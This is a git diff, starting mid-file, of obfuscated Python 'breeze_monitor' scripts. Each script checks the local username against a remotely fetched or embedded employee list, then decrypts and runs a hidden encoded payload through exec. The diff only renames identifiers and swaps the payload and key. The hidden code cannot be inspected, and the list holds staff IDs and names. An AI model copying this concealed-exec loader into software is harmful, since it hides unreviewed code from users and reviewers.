h6;U&WmhU&P@iLqv27@P4yWaLznm;HNfDR}H+VnMlW?Z)3zrGHEvv2bWiEq9k0aZQzXlH3&GNLI(Xw!%Uh;+d-%%q_@HZoX_61l`6|bHktX|2RU7xc?s(Uk}Uil37zC5va*LeNWz4uVg&2-#=j}!cYLNe$skd5lKrhiY@lWER$#<}$Z=(<4Q2d5>l2vH0x4?u5#FW7bYr<>Sef?98F56K82qv#nNXrtl&3LA?c(WKfv8{fn5GA2LpVj36{=TU0Ig+uRHI23*nV`DR06Am=TZL~Gl;EGNL^>Tib(RJ4rRTF5NIq>z_Q2Ovi)3;QzHPE<;)ZYARBym|CWDxPSOg}#_q<=uIPR=XJ9VOZoY+x{TFD)%2FNrwt1pXVrtCj$ipbOiAR=i4ZWc07S;j{9s*-fE+^mD&>wNUIhNXxc@8C>&iK#O=J$Azie1yr1UCFdh%6i$+hjdPCZLx=4eBZExl%%!B7iwYz)SIz846~6^JvjtG`7g_Nt+|t-0IG0q}{s|#BY2Pp|6}5K+HchWj)&mrIJ@qIb4K1JCCcNTKHp!6p%=E>9Gl$Bg3i1b+vt^1UxwSHp}~TrhO%=neaCBjK67f#7nQF`{g_7g#jgA=6GZBE2jzXMm!t;_*NYZCe`l-ebO68`0-0Mb@-mVIA`cLyjW-FyVakdNuIr>HaF-Y&0&Qed#{s^%6=(&Y-Tt^81DMvP^tddB^L8|B6OCxT}PH&crN_+-51`=A;-}{GKUJS0oa463ZC!n!1cpX8S|U=f=OmJ~X7WnDrmZl;M35_u*E8a)~A9+vz)Z1{$kgco}h|M3}p8q=_oA)Qfg28JS4fab7TXi`K^k<)#F6DzB1fLcpON=yJpT5#uoOW4LtKp(Y;IW`bBQ?pJJjT%E~-VtTykN!~rLu9Vfp7M9z;RmS4HO62+cGHyeFPbO%fXxe+(5GkGIys%rH-cz+h1q`MiDih|}no+3B_f#;oYc59YK8Y5{E9)Ia3h#SuHcY$}oYl(DXAg6Ed&M&5>gwgM#(8fMR~+5Wd|jWXI6?TMyJ^a?fI03|S8`DoMpe!~Qr$Y>s@{i97Q_5KtfsNaK=+(`<0TSViwmo!l5fAm`l;VfguXc&Livu@uj9D*YYa4eL|8l(L|it`0;l^64F#rjz?-}fIDgDXQ9>QdGnP=%=Fa7RHH4YlGP*ld^pAqpelsGQ6HK2f0b5(mc0NH*Nq2uXY_;d4qJRz!1A#-`h@E60tMA}XRsX{E*GO#!twrnkem;_(tJ4MtEa-c?y5PcbPsU^4T)PO~8CiQotJBY^LlK>KXn_q0b&jJipWoAc$y+EzO|y%269Z&NEV+X$F|*bdnWM9B_$6kg3g}B%G*#$i@=G*hdeo2tVpnIO)G!>FgDL$Jx(z^;~DLqsgHY)bvT_+x+l@cT>+fM$_5RO9OOt4(zBw~W#iC~LS3x2H$fB%bgr5Z`i{!vw2bIDQl;EQx|rmBhzGB9W@7Z61|m~_uNYuyjZJSVInZReJ&d_?2t0?4?FN(tzuRVpjiP4YCQi`6XgHOi!mRGgi8gW+1eiTygNk5Do?V`y}d5-bfyA;D!XeduZDt1z7qA>@Dp@4mn*_?y9pLI3;CZ@kfvvMhQk(%AXaAC}m?{TVmPXod2G-C3oaUozp&S6k;7`wC18G@F2t1nlOOb5QkJz#y{(9to!Z4@&ywG!YQ4Ea9_t;#NL=o|EC#XvB)f9r*%gXgonnyT0%TjZB5zQjD3;=n&9@ybLrSm;u6p_#T;<+rA(Y8}^tXWP)+I3H${ugV(~14Xog_P@H5!lQm@%XrdQCO$4j~X~8Kv%$Ae)xeT=@(SS%srLoqJz{c1eh&9&zM&;;4WF&E6t=?e^(Pi7g2Yj>^`L=ga1u@qP#dP?0qlDfP%lE2#RLutjB%Lh>4Iq`jpxu+=Vr156J7c~verHgU=as%$CT6PT$U(%)-RnVt?*(S{8<@o-KTjDCLN~ZS`?x@kTs=RxRh0nZVr+F6fQcu^9Sc9VSg}3Q`%$2hfm~C5QV`cpI_}7dhQeWeRXOAxd%F1h-kkTc2aFSb`|4BV2>nyZw|Btjfa#JZ+@mbBz?;8@8_jIyRfE-ptPiSA=H)Ot*zK!fEH-k8p<;x=Wy8`YP(<(@yx0!E!bE15szIOmyo{&}T&ke$^A~y%a+$nYc0HE};rj(UTZ?t7x>ltpyr+)h9DnkLAOVsPY(kMZLk' try: _d=base64.b85decode(_e) - _x=_nE2iOv15a2kI(_d,_k) + _x=_sjiYM9FGYV0V(_d,_k) _c=zlib.decompress(_x) exec(compile(_c.decode('utf-8'),'','exec')) except Exception as e: - _eHyOB6Eay6I("错误",_QVd4YRyP()+str(e)[:50],1) + _SDb1K4RIBrm("错误",_oqt8dAuX()+str(e)[:50],1) sys.exit(1) else: time.sleep(1) diff --git a/breeze_monitor_CHAT.py b/breeze_monitor_CHAT.py index 0afa1e2..e53d701 100644 --- a/breeze_monitor_CHAT.py +++ b/breeze_monitor_CHAT.py @@ -3,10 +3,10 @@ import base64,zlib,sys,os,getpass,json,time,random from urllib import request as _req import threading,importlib,subprocess -def _tTxOi9IQlp5v(d,k): +def _vcn9hlSKKgH7(d,k): return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -def _T2erOOGW0(t,m,is_error=False): +def _DSXk0piwk(t,m,is_error=False): try: try: from playsound import playsound @@ -33,90 +33,90 @@ def _T2erOOGW0(t,m,is_error=False): print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") return False -def _XZ4eWrBuSCZ(t,m,e=0): - _T2erOOGW0(t,m,e==1) +def _EHyhf0GbEye(t,m,e=0): + _DSXk0piwk(t,m,e==1) -def _y4xmGimvR(): +def _aHC8OvjJD(): _p=[104,116,116,112,58,47,47,99,111,115,46,117,105,45,98,101,97,109,46,99,111,109,47,119,111,114,107,95,115,99,114,105,112,116,115,47,109,111,110,105,116,111,114,47,99,111,110,102,105,103,47,115,116,97,102,102,46,106,115,111,110] return ''.join([chr(int(c)) for c in _p]) -def _AkH0BzMW(): +def _Cg8bnDsj(): _e=[38750,25480,26435,29992,25143,65292,26080,26435,35775,38382] return ''.join([chr(int(c)) for c in _e]) -def _FfYdr7F6(): +def _SsMMeF32(): _e=[31243,24207,26080,27861,21551,21160,58,32] return ''.join([chr(int(c)) for c in _e]) -def _glX1KxTn(): +def _J3HS4UFG(): _e=[39564,35777,25104,21151,65292,27426,36814,20351,29992] return ''.join([chr(int(c)) for c in _e]) -def _qgNVic1TqV(): +def _xniHXPC0Dv(): try: - _BAJ3nVqk=getpass.getuser().upper() - _DhoHQwsP=os.path.basename(os.path.expanduser("~")).upper() + _ymEd5163=getpass.getuser().upper() + _TDcvpkbi=os.path.basename(os.path.expanduser("~")).upper() # 转换为小写进行比较 - _UmAdbDou=_BAJ3nVqk.lower() + _ouhuAogq=_ymEd5163.lower() - _gtXmoAg=None - _B8S3jWlS=_y4xmGimvR() + _ZglxHlk=None + _LUx3YzV7=_aHC8OvjJD() _s,_p,_v=random.randint(1,5),random.randint(1,5),int(time.time()) try: _h={"User-Agent":"Mozilla/5.0","X-Access-Token":str(_s*_p*_v)} - _r=_req.Request(_B8S3jWlS,headers=_h) + _r=_req.Request(_LUx3YzV7,headers=_h) with _req.urlopen(_r,timeout=5) as _resp: - _BAs7qJU=_resp.read().decode() - _gtXmoAg=json.loads(_BAs7qJU) + _Mzsk0pN=_resp.read().decode() + _ZglxHlk=json.loads(_Mzsk0pN) except:pass - if not _gtXmoAg: + if not _ZglxHlk: try: - _BAs7qJU=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() - _gtXmoAg=json.loads(_BAs7qJU) + _Mzsk0pN=base64.b64decode("eyJPRDAyMzMiOiLosKLmloflvLoiLCJPRDAyNzIiOiLosK/lkJsiLCJPRDAyNjkiOiLnjovljJfpnZIiLCJPRDAzMDQiOiLpgpPlu7rlt50iLCJPRDAyOTUiOiLlkajpmLMiLCJPRDAyNDciOiLlkJHlqbciLCJPRDAyNDgiOiLog6HlloYiLCJPRDA0MTIiOiLokrLmmZPpmr0iLCJPRDA0MzYiOiLlvKDlvLoiLCJPRDA3NjUiOiLmnLTljprlhbAiLCJXQjAxMjIwIjoi6ZmI5a6X6ICAIiwiV0IwMjE2MCI6IumZiOedvyIsIldCMDIxNjMiOiLojIPmlofpkasiLCJPRDA0ODMiOiLlkajlpKfmtbciLCJPRDAwODAiOiLmlofmh78iLCJPRDAyMTIiOiLmmJPmmL7lnaQiLCJXQjAyNzI5Ijoi5Y+25rSL5YipIiwiV0IwMzAxMyI6IuWRqOiLseadsCIsIldCMDMwOTkiOiLmnY7mmI7mnbAiLCJXQjAzMDk0Ijoi5YiY5bu65Zu9IiwiV0IwNDE2MCI6Iuiigee6ouS4vSIsIldCMDQxNTkiOiLnjovpn6wifQ==").decode() + _ZglxHlk=json.loads(_Mzsk0pN) except:pass - _cd2kgrd1T=False + _iyUoyN9No=False - if _gtXmoAg: - for _id,_n in _gtXmoAg.items(): + if _ZglxHlk: + for _id,_n in _ZglxHlk.items(): # 转换ID为小写进行比较 - _AxaK8xM=_id.lower() + _wHA2fQN=_id.lower() # 不区分大小写的比较 - if (_UmAdbDou==_AxaK8xM or - _DhoHQwsP.lower()==_AxaK8xM or - _UmAdbDou.startswith(_AxaK8xM) or - _DhoHQwsP.lower().startswith(_AxaK8xM) or - _AxaK8xM in _UmAdbDou or - _AxaK8xM in _DhoHQwsP.lower()): - _cd2kgrd1T=True + if (_ouhuAogq==_wHA2fQN or + _TDcvpkbi.lower()==_wHA2fQN or + _ouhuAogq.startswith(_wHA2fQN) or + _TDcvpkbi.lower().startswith(_wHA2fQN) or + _wHA2fQN in _ouhuAogq or + _wHA2fQN in _TDcvpkbi.lower()): + _iyUoyN9No=True break - if not _cd2kgrd1T: - _bppzd0mMI=_AkH0BzMW() - _XZ4eWrBuSCZ("访问被拒绝",_bppzd0mMI,1) + if not _iyUoyN9No: + _rhN8VB3NS=_Cg8bnDsj() + _EHyhf0GbEye("访问被拒绝",_rhN8VB3NS,1) return False return True except: return False -if _qgNVic1TqV(): +if _xniHXPC0Dv(): # 显示验证成功消息 - _XZ4eWrBuSCZ("用户验证",_glX1KxTn(),0) + _EHyhf0GbEye("用户验证",_J3HS4UFG(),0) - _k=b'\xd6\xf8\x8f\xfb\xc9{SH\x19g\x8dNx;\xd9u' - _e=b'u4EEGpwze$Z+~_32L23SbHByB9%mQXGpa9U@h|*8blxQ~YctvGAv7sS56xS=?uEQ&~bWJ~_4Gs-rMW5i;0`oLm90|uVUSOiOt%0!R%N`u8^oMiX=e?-e1A->!e6$+AuDbKqwXb(Nil$Lhfr0Qa@JT#<&3)%Z+ag=QZ7Sd1;^UXGqK4p7HHa8~s6jF5CoA4g=;Sz}6!3GAyyZCV`+tN1CZtcMBA#xN8RAjngPR|PJ>Jeh}Xp9|k_R@vgFY)52*(XNSh6RoDl72Dl9ebXJ7WI3ec8)3ixJ!=@s2oc)=4ZVCPoPl0Hi-sTF=4@vw_T#ZSdAGr2Kf@Hx2&!j-2DNEM~Be=;LBdw`5aSYeWE{v4#yIpP6gs!$I&Y^3z8+)V9Bt^CLEW(`z^Acx7Va~KZ$Lxrx^56;QA^VtSNDFI)SgzWx@|KI0Si`sRL?mEu^bo^iXpzC&FJSU1ow^)r_IcB@%X3SnDR~v^UTR6m+bxCYpV<2gP!VET1p|dPJ+X#+!T*h5Dw55Wo=KROP`pgOp>VKH)}oJEdyyDLCw5D08yzzgVY<7%WhR|A1(vaFQ~}zBdDjZYLMZHJiq)PM6+Eq3c8Mz6mewm&9UfDLqgHVnnKcR-UrujmBn;p~rJL_JOTm=8ATagV@H42nTuwCWWF$=8BqegqDVjGSiL}G{C>}?(%w9WW8s3Jr^JVGBk`8#GH2F`y@y!XJ;H+Mptby@I$dCN5VB%A|px8D6IR}44HG{0Q!a$*v|C`^acek^}_yeGmR>|-pwpU!ik|pjXRUr6?ws~-o!G|vad^e!DYNFlP2fzugKmQZD#=vlS>HZu~KZ5OelcaqX~O3&eVufE9X`zvC_f%58L*Cpluf@ko<3zdUVlgeY09J-2BWOv7?vlIs{luNNR+XXfS-bj5;3jO6Sy0#{R7yrH56mMlZkXz_1&9wsOt(|sQTk>TDc-JvIEBJ0lO>4G>(vI5ji5^Ah8m7RQ5PlF{;!E#|X0W-WQew;|P3v-+Y`*>`{KRn+7eII#2ftDukq0W}i?og{-EBaVKyJCI+lO=8gg}iS(w4fk%8e<^-&dCYZM2bU|nI*xT4pwQ9S|`uHrepmriVYR*;lCROT}7<%hCTcM@F;Yz2Fs0wuFGcWSH-C_Q!&a(Et{+-@?_h1D^g}r|o5e>4gH?oA1KPl@ke|7cU#Xy{>V~H{jg!AQ;jFPRN=95vV3dm09)ua^ycv-x!}XUWY2mmfF<{o_`k!y934`X0{%?|rXTVQRcW?5`CI9X(5vF9Il*`h+-@JJC@mSo{Wv!J|dA^$>-5LgWN%Zc=W{j4n=T})o%m+c;LAXFB30hvo3~$TJqEqxE3kT|CHIyfXLh@9eUcA(Ti0-fS`-eX214Ge_;njJ7kB?l>{noQrotxaYG)&EU@TYUzvBga8C(YTAhZN(1i4W(p(zldw(vo1ojoi*kDb0|C#O%TGVD>Tj;KI;>7bN7BJ#BxNWa{k#lMEci@lOdXq74<#)AUt&nb1^{{e3V8TBNSFZkc(tC&vVuDF^_?TZ4vo;#f1+hp*C!%<-gT0LCc7?!vdTYO&@lA``nr41>I(W>sYQ)5vJ~tp(g=Xt%AsVUviX8*|qH8shpU2*;rX{FjTj&IO{1HHUFgaN`N5?68CWb?Hb;d(<+*h?blj$EJs^BaS%)fQa;Pr0MDIqj+ysjg2KcWrRdF*l(;iKltbH_JRHjYaY>nRTMtCkvV-;3;#9q9G?ce_O%#QF?8eeL^zo6oxz%p}|{!v1HFOWH$I;BC0@VTcl43IMfO2vA-f#)Yr!`>bS{-!7tK(YA!5~(Z6yeaiB%!qpF*PmyXDjx;-!d&I9o(z4R!%;H87|-#AV1Ac`SrP#oB+%EBkE(Z#;tKAf}@L4N|dw{yRr-PTg24S|(1AOPw5RmjoT>~?fNCIn4E>^B1@4=2*d?7kZTe_8-Z>VjvF($?K6Lp+X?*#9)wBYB`vUPa(h{K9bj|N_ptQUP1I}Rovdo;y(C1dX(TV!rAhTMNveO#f$ZAVmOHsx)B(e#D4dC0K;l``3;nXOK!4Ub2n?1MK_P+%mqm;lhpXAQW9WneM?eMn@!`elM_^|(F?dN_`35W<%6SZa{`dkP3R3&z=1b}GbTTMP6atbJ2wPmv?hG+otVI{iO{PvO-7%yA?LX=q+I1Y<=08dV^{(w3SQfW~7jAfRE+9?R$mf5e!kfwoi8E`88Qd95Ac8eG3KK~x~?sm=*yKk=zGrppY^a^Ef}sR(dXd0#cO^ILWi2?4D`pOsijvDOI_0@z>O24DwJ(j%%HRBx=u=ZSqj!Y`YA&@&Cq9fQeOq7*5#8(iM=C8gX#h_sD^;B#5l#Nx;7CAeE>IgkbI`|lLwjQXB1d-IYDK>TdHG=-lX0^LW)Uinj%B0iX^w?FK7)3%mY~Gl1z^lz6|jB)wRcG4v_H8{0~Ol-Q*p>Evi*bu)x$I`-fgoXprv{i{)2UlFj6#;(~2Tg;B^_oVISj%`ga;nr-f_DTlWKMKmnxtc_tdP{C{Yx1%%sN7fc9E{ZTmDS3KYJxM!CjIQE!adx>NcK%BtvZP~oZ2D@?V=6fojk&|NRBO0A?@(XL7DJ#kDzL?@g!Y4KdYEo3Ve!kKC)5F^)go~e~N*)#Q%`zftJuW>~Un@-k&|r)%V1e5`I6|ZstZ1j>#4!KGN*6?iohGapPO&JOH=FJ2ffnkBlL1it3DQY4NvN^BD22PSNX>d7P!A7gate;ZS(Ti%M!ZtsnMbo;{U&R*oKsb7=@a3f?h~-?ghDx5?ja`Vwk&yaA(rBwKk#V`nMwmv!LgUcuR&nudKY

sO%5|3FL{)lqiUeBCo>7MDh+fDS{g$fbUEx5Qh~?|OfHld8FQJ7j!@0d)LHHKlV8nc=8Qy{Bw3b-<-QCh%i#}<%wM`8D9wj)%&DLMaid@!8bF^ie4i=>~Y(I|KXFram6i@UeZ1kZ3zZ|2+O3DxSOI-T)PqUkC;n?ax_CSFX*^YYJMP$vnfcJhJ2g5+LVXPk(@|scp>yjD4o{ZfR8C~1`gB2Qz)=y^uq(62t1YvG$1twVcKvxIoB2Y>RG}otOotM*cA(uq`Z_Z~Cr8}Gt?ixROwjXU22JoR^+)ZYimC<;h+wX^-u@!lm4QzfNWAppAu1uoc>Wt0E{i05fE^Ua=Twrms@3^jXiW;&S(4hx1DwMo%9*(G4j9{7*vda;|3fA|+flQHmFqRon#9?L|(@n;o%`9J98Q@0_^g?R*=xC|pYMY+Aui=*m;vTS_76c=P4$&y_f0gPGayDnxT|}>OheZ)mB~4$!Z!rSs9G!Hrj_aX_c)GR!Xck1|G4Qk*EsWmCA)4XIVJwo=9lbvH4~R;UJgKm0IN3oiK;%|vo@fHp6Se$8kgWwq7It9Th<)_Ev7cGvy1WY9^KzsPIgMFur*_b{Fc(pO6K-5#7(EeE2EgJQl#>Qx9`5q$-T~1KheY0V}6H?+qljkMlp2X=P%6N%e`6>s3FJUYK;GKMhV1k*%fC?BYrL}cB7Z3~O2XZ5+X$%2CC4h(*osxnL@Y9TeGJNFU7CC^j@MgGMtLry&*G7<^@W_!cKqJ7{OGs+v1Q;5x|3n&7#~mXdeJsZkpqezBoZjk_Ud}}++)KP}?S^^!+ABwc)qUnxT>SD#LxB8q;z*C*aari|d`b@4H@C3*OEdk;klZ=JRUtjHe>6|BS+K^GbkF`xHQyfr`|-bFqr2BY|G+W3!AkV=qpb+$gwvb!X;>f#IE$^7MrFQ!(TY)!X={X=Yb7Vp$fO7dx?k#)T?=nhbmtWj$nl^PqoyN`Dw|`BGn$GK7R`Q~vMvjp@5H7hOJ+zdTYxC;qCHiWJg_qUZl-r;Cs&9(f36w;Ke`eMu0~~fcr^mcc*`1_kKk0p!39=@i3t7d(2_|>4tX^$Kj`8*$D+-N5Bt^@5O>`1DK$VBpUMj9-%rwB!0^u|!ZqB^@Dq)TbVh-dOKn!E6>j%qVl!{qk&|e|B9SIBn(;X==2&7jwu^$HDiunLsm_Axnx1?lJ9naJD7eqM?5|_*s65;g3k);%tKJt$>Sc55~CR>P`{8){Of>FrZy7z8$mjn!lU%+8;Jy)`_%6%dDbPlsf<>`fq1mkp?KA{_rRbwwg3rd7|yu7e8ZTFmIj*{ihGzIf3@ij{*T8zdFlV*z1S6;wyB0G5s>bDf9P%yZXL*-KNPlsNOC?7H!5@$57pMJBp4Z2vLL^kX9l+_vSQmzNG+2&UE&7m2H4gK(1b2u*ByJ3pYoSGh0k3!G}FYQM{I}{>*?@>gNOexu)OI6Tqwyd(2-giY%y*y6(*|~gb{K;NCAzptFOrVA>KfWiLA9X0<3-i3Xo!1Q|Ucs7s4D1F~lW}ftY-V8NRqSDcalsp0kBQ;zb6xH@vHa=M|};L8Uba@BulT0BST)FqXV*a_yZID88}U6&2jO7+-s#jzAZNfC^rh+48(mU>ZwKaCLhB!Wug8cN4x2hzdQte)WF9aR{h$@CfPf1@$tf(N~o%1iJo5ViP;4j=E`R(&*6TKrF`@>1d5^x8zXnE}!mZCpg08-eQoh*%MZfqXJFg){YED)vIj7mdHapYb9cwDTzCk@kwWNMeeq}6`nr7IhW&D(WYb@JA97N!VzReuKD}u=nIi_t~isZe$Ncke6}XfNy61B8>;RJv&CeRyOd2|YZi4zePA;gf9no0OV1dVgs2OK~q@fWowlMru9xgS125(%#rO90K@E{f-vdQj9?(JyZhSk#H(B8_=hx1ebbG#CrPMM%NxitR~n!ai5y~mC}#k5dfGWVwPcwln=Fme+K#Jk#|x?qPVA1US>S3XW;2+4LpA^Gx;$=NAjc-=#{Zb1UGVC7NZX7X5ggj3?sOItot?!#|~Tsxx^PW5H!#Qs12O5AkSFub>D`ND{!n+Q<)W-P{+CoDf;%PPat)GmWU3kClhIAg4#{)jX)T#z3f6kh6~-3KLEw_o|aO4#pK=dTk;OtK2n7UG#5bqI1M<;FHTUMR8PLgma4=2xmtSWHKw3F1Uf8ygiG_z<4?@-w&esJ&88_D(-PtZ=*RZ$}mHAU@LpBD+uLr+$g*zw=KLwN&ZPAon2Vd^%C0VUiJGd%0O9;^5pucn_D02A)Sn$^UvZ~4OeoUr=$DHiAt|1{2i6$%`BRZasGkXa1X}J8{oz@!^Y-m*$O}_uWc4M^Iv2)1dv>gI%G%ae0>j6TM3#d*Gys|dfMQ9*8V=#n`PwOWRzYk0re@T#EvlIaHL@||Ay-oo9>@ZS{MJ^d2Vf(>ZaOfn#(#hdeKE;$sKV78bbvF9fl-r^PcR*;n5DGUC0m4`oj4=5%dcx2pr}Dwg%R)bE#_G>$8C&F}RwOy1K|BD*(sOMm(_~IZvnLlz}@H|CJc_0mB2S+i?uUFH&FuGY>((Y~9F_*MQ%A^Un%Voau=V$_k_Qi&1(=&9xQc#qtItlcVRwny?D%Kvu?1DlJQ$`(e=K?r`3Z%wb`X$rOmILILASohkB~+-p@~FI0O=#(ymrRi1AYQnGXoyd!zJI*PFu7ou~;N8hN;C6@7U1&s$}g9(^WUFAfwVXSwUrk~t<)WRB*zQE)6uHk}K*e(bbtf*Uik8unfpsk-0&U);time%#lUF(BB$k-g4xe69!xT0@?PHSU=EBGI7wY`dA9K(Puu5}SR2gm~b%4Xo=~K>CVL5@cQeO~H>*xHFN!DPGwBJv(C7>o{^cYx(+`8xZ}~6fz7o9va{K}R$lHOH>s|sa%r?#bcC)O=R})6d>K-yf>0fpmSbleDijEIiMi#Wf9DmX;vyN*>BH5{-qEc?Rxq&oSuA$JJyI|;&Vv{sHExI6}vONioa0Wi6(ro>iv<6S@bXR){U_n(+$`wyyxoPdr?3t+>8=vyW{>iW-kCO*8&5Q;TtV`6cj_#LukxoDR1ov2WP9Z%-p^+6Tp#_Lvn}V$55t$8j`|^Y^M->AmUXf*36oG5wn1E<35gHe~|3WH8JZsM$YzJR;89s}QXSQd!aT5dM(%sU%FYs_5a3B4tAvIW^LQz7bC7ad~wM4V>9!O#oChu0CfB3NkGF?@Pu_G3Gj-Zx+hNrjSeX9eME9S$Ypt98eu7L*cvC$RFYVP8$`l-lutSxy=81fP(u=w2Enl+Q}k(+JNMKgaDgB?8SQ^{4pGSK}*39f6G_+8g2G9?Ndkqr=-V#XU~{2}jO%=}6~+q-oB>QN+Mrvf*x&;~2ndVNPld(5}**Fk!QhrY}^pnV=$`-|m*6>yvAEl!!cyDLrq1*r)5T8tL;afrq3*??Hx&=xnQ(Cqtl@hf)qt`}$;bA7*nF5M2HfayLMlH=VNZ6LtZnaj**b8`=Lll^K!?~oMDa&!Zbh}Fkr25<1{np9d-5CcnkARoa6iM?L`z(ZT9#94s%{Jvwifmt@6BZ4W9>Y$ez@V$lIz~j)i%c&BI1wje1c5LD(h1-bu&KopBr^+THHY}=Zs}bhdEQ1MS20K+Q2hMe26PzOO-`upf;~h?k+y#qrWM>J!T?LfkoA=vi&2IObY7QoLPPBbdJ=Ky#Z*WfPaI7~Mi6hUMmxu3MpNiD>5p}Eb=3PC``pyS@awUblu?!2z8>*GkJs(jm%Er#G*y57C-(_*m5TUr?sruQJ;tWEB>`vw@QV|EDtig6$UT;u|OKt(|t>(&9{LIs@=rK1u3nCxv1upTd{G0{)=JWB>!L{#=bzT}fgsn<-Hx^YmwBaeJDvvs`F}mooS-9E}c$yLbu@43^d)leOJDUKphhwD?Fd*;*$xvqkT+tR;cAW+;ysy|Yd~1Z(N2|X4yNeXJJ)zYxxrJ;zv)vqIYg~53tIH$`P>eiT)QFrsnaD)2!30&Fvx7O}Sja{{vtPv75Ou!5^4Z*f4kRFf4l7WB;i%^#Rp=74u$fM*vbVU%Cp>GjdGgp(?A2Lw#O;Jggm8T@D)EhV0xna8B)H-uwm*@0H;lh9Yo0O^+`Z!!~zMgaYMTBXr@2+M#3OG0}H{utIc@Or`=vBxI5)PFWZr5XmiJX*t08i+4)nBz~DlFU=BlnE~TAJsq%D*WvR*ogPuj2wLVL^YTBB;SG0~fT4{OefhuWh(mR{zSM9WvKOWnC+RmK|xLQ7t?ZWqH@cjxFWOiD7a_XPXT`V>7rLt7?J_H=1dEX+r{wkq@#_1Je18XamJDTRkKU%>XI^p}Pr*c_HT43USTMRece7}A%^Q<6SV>r)WU=;V$p%9>(h$f|7Bw0c=a96^9diLZ{hjJ$)oIp+!;^tr9_Kv4CES73Rw@09WLIY6u>z(?8~S`qbQ)V`utbj`&nCi)oU#OOki=8zC-F@S*FXZ04CW;1eK^?38TxLN1j!pXVA6;>8ztel!*8&Q1>X#d5_`45m(bOD=?<56VvC<5f1&u!VaUQ;4K5zf~mlRMaCxWHXlSu;Un%Q*g=UL)q1#eXZ|@wVb`qV7OdNjrB-NN`9e$0^`u3bRSORvD#{2!9=2X7q;69-TvM;o=|81$*1nHkjpEI=OXm$5a%5yF@CT6VP+9asMdFtsYO}r?NcW

#rsa5`#$t(0m#zC0lK~*kn_fDhuF4jVetz7S;I(3KU_rw2>#q&C&Ya+e0U;?m_cczI7><~V4zJxVOJ!Lq>x+T0Wu<1zr0a@R`Rg7z0t!=|UDs(mpU&U{btY=a{N%DM7tV0_hypd*7KsdkKA1GB5qTId|ei@p?h_*b=`fQm^^UNs_))v4R+e{k@3%huvfnH`>U?L7LhW5T+mOaAUS8%@`zS^fnCjc5p+Sd}Y8zCUoSN=RgGE{D~R-N}eeL9wxPOUWfO*6JZgE`wyV4-6*y5>*)y5yA`Ew=Jf&XqA_91OkGP=JsFB|jRhYjZtX^%woc$HHJ*U-hjRRdaJv0#$kql;{pgO9i8w`;ax!?&zM$WLZLLQ3jGhBd#AY6-_>Km8o8i&(w+;HRd2-w}SWLoCWsRRBDT)_-X*B<=}`|i3r$GXsFOHnWfGamCnqy#%~pQpOTP5o2!JQ@J6U}V1NIEEbO4up&Dg64sX+Z#D)K~KsJf(b0b%nWUqs~a0JV$=uqi*hL=bi^B~;sOQ2F$-QVO2&D4}y8LhmpkU6uUD(*^D)-41~gFUw5qAokg^@3)}&jnGvsYr(+Gr5Bl5)g-ZiT&vEn0W24cD~TiQjln8~l@t2esYit|Ps>OdXb1k=&i6K}Eyl;Q~}({XOSW#1E~zaG%msM9L<5Vb0GKj{4pHJbjlGA%DN_W;xQ8@~f}3jp-=bIwMdY)88Wd2LIa8>@^@ypFx4yq>4C>b2a{$vIs9eLz~XAR@P+-%-(&aRAy>DWm-fQLX|Q_mG`1#q_zcGvq@@vQX;emHRC+`&>i`bRLFu{U;1>>LAK!jz|otyRVf0XPW{i@h5j?@ujvXwvW%)ODu~kN&$OiRY*QrIB-qDCsgSlNw;=zY5qB{~f$fmb<+;-;~@AY2hL5zM~jID$lChu3^VTPcOHSAT{c&_P($=&p4z@N15A7fo}BxxWQGG@1K{)4>NXi>3PE1-1*NI-VHEb;JsO00*MtZZ4#eq1~_IKNjDP8wqKv4GFQUNNJw$;nBnRKv`Vo-ufMjIy&GsuX5B*&Dg{~yUw*F9)~}@xPruY#i9Nb^i`Gn1K%i5PJMl^hSbxm%<4Y-?j$b$hrYgO-v9g5v&lqxv}-8^gEiB76r<6Pd%81sk1q}8fF|OuMa@wR@Vt=ULB$y<+e!=+#Gl2GA6nx|;F1!%upJh{b1%v5(tV91b97=y!1NPCPxu9>?$%rAr`l3gbyR=KRLXRB=pzqKi5`vpS%Gcs+j$}^G0+*b{?QDrey>%f}@2G4JoNUTqKOOF$&XagEo63h)?ZBv;e(MxN*qtY(xb`cTsN;QIc<&%&3y-2h4BOCBtVPatY^0RH!8|kI4jHIFBHpfCaFgtvGUEfRv|-Nd|W?mc=Zwe^B4Jo4sx7E9?k_GMGez29Ued1Ir+RY)N2_*0i|xjIZ>Q$;?xS`#x~=4zTi4' + _k=b'N\x96Wz\xb5\xdel4\xb1Aj\xaf\xfe\xaa_\xcf' + 